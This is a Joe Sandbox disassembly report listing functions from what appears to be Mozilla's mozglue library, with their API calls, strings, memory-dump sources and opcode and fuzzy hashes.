Instruction Fuzzy Hash: 93418F30B012049FDB10DF65C898BAE77BAEF89318F244069E50A9B791DB34E815CFA5

Function 6CDDCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CDA31A7), ref: 6CDDCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDDCFA4, 6CDDCFB8
<jemalloc>, xrefs: 6CDDCF9F, 6CDDCFB3

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 0234bcee38ea8432575465c431bdeb64946db9205a1d33223304a43114e664e3
Instruction ID: 0b32c608edb92cee59664aae144ef37616372a6997963f8919faa5c304d6d649
Opcode Fuzzy Hash: 0234bcee38ea8432575465c431bdeb64946db9205a1d33223304a43114e664e3
Instruction Fuzzy Hash: 7131C370F412169BFB10AFB58C46BAE7BB5AB81758F314015F611EBA90DB74F500CBA1

Function 6CDAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDAF100: LoadLibraryW.KERNEL32(shell32,?,6CE1D020), ref: 6CDAF122
Part of subcall function 6CDAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CDAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CDAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CDAEDCC
CreateFileW.KERNEL32 ref: 6CDAEE08
free.MOZGLUE(00000000), ref: 6CDAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CDAEE32

Part of subcall function 6CDAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CDAEBB5
Part of subcall function 6CDAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CDDD7F3), ref: 6CDAEBC3
Part of subcall function 6CDAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CDDD7F3), ref: 6CDAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CDAEDC1

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 2411bc8c07195595dd7aae53c2f5d38b343520ccf88bf3f8cdc93ac5c64e1548
Instruction ID: 28d00a0883bc4c46d8e92fe13fde3c24473e60b3114fbb9192d6c8e248b9c18d
Opcode Fuzzy Hash: 2411bc8c07195595dd7aae53c2f5d38b343520ccf88bf3f8cdc93ac5c64e1548
Instruction Fuzzy Hash: D451D471D05214CBDB00DFA8C8407EEB7B1AF59318F44892DD85577B60E734AA5AC7E2

Function 6CE1A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE1A565

Part of subcall function 6CE1A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE1A4BE
Part of subcall function 6CE1A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE1A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE1A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE1A6B6

Strings

0, xrefs: 6CE1A5FB
z, xrefs: 6CE1A6AE

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ada7f35ee5a0c74ce5e6b113fa2c9a1e53511e1a9939db02f4afc8bd664efed0
Instruction ID: 1b0a5039f8bf9aab126b7c82b5fbee7703164a850d733aac727103d4102b7298
Opcode Fuzzy Hash: ada7f35ee5a0c74ce5e6b113fa2c9a1e53511e1a9939db02f4afc8bd664efed0
Instruction Fuzzy Hash: 5B41477190C7459FC341CF28C080A9ABBF5BF89358F508A2EF49987750EB30E559CB92

Function 6CDA78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CE2008B), ref: 6CDA7B89
free.MOZGLUE(?,6CE2008B), ref: 6CDA7BAC

Part of subcall function 6CDA78C0: free.MOZGLUE(?,6CE2008B), ref: 6CDA7BCF

free.MOZGLUE(?,6CE2008B), ref: 6CDA7BF2

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 230deba7ed56032771e3a475dc62cde03ce904e6b496891367eedc0ba8eed8b3
Instruction ID: 6cdd8a1bb09c2eb2b996566c63585666e4bf6909ca185e53db7fc088bb3ec8c7
Opcode Fuzzy Hash: 230deba7ed56032771e3a475dc62cde03ce904e6b496891367eedc0ba8eed8b3
Instruction Fuzzy Hash: C8C1B771E01128DBEB248BA8CC90BDDB772BF41314F1603A9D41AA7BE5D7319E868F51

Function 6CDE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
__Init_thread_footer.LIBCMT ref: 6CDE949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDE9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDE947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDE946B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 34c1296233632afbf72284af250a4c1d204c6005dbc213e9ac5ba36be6b943ad
Instruction ID: 752c3f2d059178ffa544da33079f97921065331b738cf1969e25f25ae0423864
Opcode Fuzzy Hash: 34c1296233632afbf72284af250a4c1d204c6005dbc213e9ac5ba36be6b943ad
Instruction Fuzzy Hash: E6014770B01211C7E7009B6CD811F8D33B4AB4A32DF15053BED0A86B61F67EE9658A5F

Function 6CDF0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDF0F88
GetCurrentThreadId.KERNEL32 ref: 6CDF0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CDF1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CDF10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CDF114B

Part of subcall function 6CDE8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE01563), ref: 6CDE8BD5

free.MOZGLUE(?), ref: 6CDF1174
free.MOZGLUE(?), ref: 6CDF1186

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 15916e6c4622306c86097096710d15ba91673c026298fca191d86338544878a6
Instruction ID: a8cfb485ee20ec8978d169227cc08a8f58d05cb71191d3c3c99773ab14500c0b
Opcode Fuzzy Hash: 15916e6c4622306c86097096710d15ba91673c026298fca191d86338544878a6
Instruction Fuzzy Hash: 3161D175A043449BDB10CF24C880B9AB7F6BFC5308F06891DE8A947721EB75E54ACB92

Function 6CDAB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6AC

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CDAB61E), ref: 6CDAB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB79A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 16b7a2c3ed54f233b1b5a846105be035bf39855e98fd953986b10a40125018ac
Instruction ID: 13576194912f49a241939a36b28e3be80b632a8720636cba8ededc9355653736
Opcode Fuzzy Hash: 16b7a2c3ed54f233b1b5a846105be035bf39855e98fd953986b10a40125018ac
Instruction Fuzzy Hash: AF41D6B2D002199FCB00DFA8DC805AEB7B5FB45324F250669E825E77A0E771A91687E1

Function 6CDAEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CE25104), ref: 6CDAEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDAEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDAEFEC
free.MOZGLUE(?), ref: 6CDAF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDAF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CDAF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDAF065
moz_xmalloc.MOZGLUE ref: 6CDAF072

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: c286ffa7cde9206bd458682d10c7241c0da5ebd181f973537bb05f551d3556e8
Instruction ID: d9a16dbd2faa6520c3f2b98e6e3b5f6f4b70c441de3035e69e2de4b4193c8c6c
Opcode Fuzzy Hash: c286ffa7cde9206bd458682d10c7241c0da5ebd181f973537bb05f551d3556e8
Instruction Fuzzy Hash: 534109F1A001059FCB08CFA8DC815AE73A5FF89314B24066CE816D77A4EB31E915C7E1

Function 6CE1B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CE1B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CE1B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CE1B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CE1B5F4
__Init_thread_footer.LIBCMT ref: 6CE1B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CE1B61F
std::_Facet_Register.LIBCPMT ref: 6CE1B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CE1B655

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: fe17ede7afe3fd9b62cbcdd8bd3a408cc6af5ef987c0b7273adf68a8d342a647
Instruction ID: 07a0c73dd30c48b6e42c88a8998ac2a3fbaf99fcd5bce1ccc1d6a1163b56bbca
Opcode Fuzzy Hash: fe17ede7afe3fd9b62cbcdd8bd3a408cc6af5ef987c0b7273adf68a8d342a647
Instruction Fuzzy Hash: 2931B3B1F00214CBCF00DF69C898BAEB7B6FF8A325B250519D90697740DB38A816CF91

Function 6CDE6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDFA80: GetCurrentThreadId.KERNEL32 ref: 6CDDFA8D
Part of subcall function 6CDDFA80: AcquireSRWLockExclusive.KERNEL32(6CE2F448), ref: 6CDDFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CDE67C8

Part of subcall function 6CDF4290: memcpy.VCRUNTIME140(?,?,6CE02003,6CE00AD9,?,6CE00AD9,00000000,?,6CE00AD9,?,00000004,?,6CE01A62,?,6CE02003,?), ref: 6CDF42C4

Strings

vl, xrefs: 6CDE696C
data, xrefs: 6CDE6593

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vl
API String ID: 511789754-1338584003
Opcode ID: 1c01ed70aa07a5b42ed14a5618d1600ff47fcc0ff7415343443a5beae0a9c12c
Instruction ID: a607f7cbc8580eec0515726a16366e8363093228460405d33ac84a0ab6f3fa51
Opcode Fuzzy Hash: 1c01ed70aa07a5b42ed14a5618d1600ff47fcc0ff7415343443a5beae0a9c12c
Instruction Fuzzy Hash: 64D1CF75A083408FD724DF25C841B9FB7F5AFC5308F20492DE58987BA1DB34A94ACB62

Function 6CDBB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE), ref: 6CDBB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB896

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 6c961e635ebc5737c06dc8ea4a77a56b9e5bfed2b48cf59b8914a2846662f75e
Instruction ID: 0f4148a599b27413231a73fd93d0e4c1bcd4d19a25aac346525bceeb55a5f534
Opcode Fuzzy Hash: 6c961e635ebc5737c06dc8ea4a77a56b9e5bfed2b48cf59b8914a2846662f75e
Instruction Fuzzy Hash: E0515A75B00604DFCB25CF59C5C4A6AB7F5FF89318B69895DE98AA73A1C731E801CB80

Function 6CDF1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CDF1BE3,?,?,6CDF1D96,00000000), ref: 6CDF1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CDF1BE3,?,?,6CDF1D96,00000000), ref: 6CDF1D4C
GetCurrentThreadId.KERNEL32 ref: 6CDF1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDF1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDF1DDA

Part of subcall function 6CDF1EF0: GetCurrentThreadId.KERNEL32 ref: 6CDF1F03
Part of subcall function 6CDF1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CDF1DF2,00000000,00000000), ref: 6CDF1F0C
Part of subcall function 6CDF1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CDF1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CDF1DF4

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e0123e393453ddbc2d8bc0fa2a3aca44dbdb45061b2c05d90ed7bd8ba7bf5d0c
Instruction ID: 3703a56654d7ee42ad784d7ed8171ff18832a558ffd127ee6c632eed64bae70b
Opcode Fuzzy Hash: e0123e393453ddbc2d8bc0fa2a3aca44dbdb45061b2c05d90ed7bd8ba7bf5d0c
Instruction Fuzzy Hash: BC4189B56007049FCB10CF28C888B56BBF9FB89318F11442DE99A87B51CB75F814CBA0

Function 6CDB38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CE2E220,?,?,?,?,6CDB3899,?), ref: 6CDB38B2
ReleaseSRWLockExclusive.KERNEL32(6CE2E220,?,?,?,6CDB3899,?), ref: 6CDB38C3
free.MOZGLUE(00000000,?,?,?,6CDB3899,?), ref: 6CDB38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CDB3899,?), ref: 6CDB392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CDB3899,?), ref: 6CDB3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CDB396E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: a6ccc996dfdcfb8939c8d02bc6020b16b3966975109edb7f7dafe54fd24d44a3
Instruction ID: 0178be9e602b4fc9282ea60cbfb6da3b87af0780706ba9abd3397e65159bdf19
Opcode Fuzzy Hash: a6ccc996dfdcfb8939c8d02bc6020b16b3966975109edb7f7dafe54fd24d44a3
Instruction Fuzzy Hash: 3F21BFB6B00660DFDB209F15C880B86B7B9EF45328F258429D95BA7B20CB35F845DB91

Function 6CDE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE85AC

Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE767F
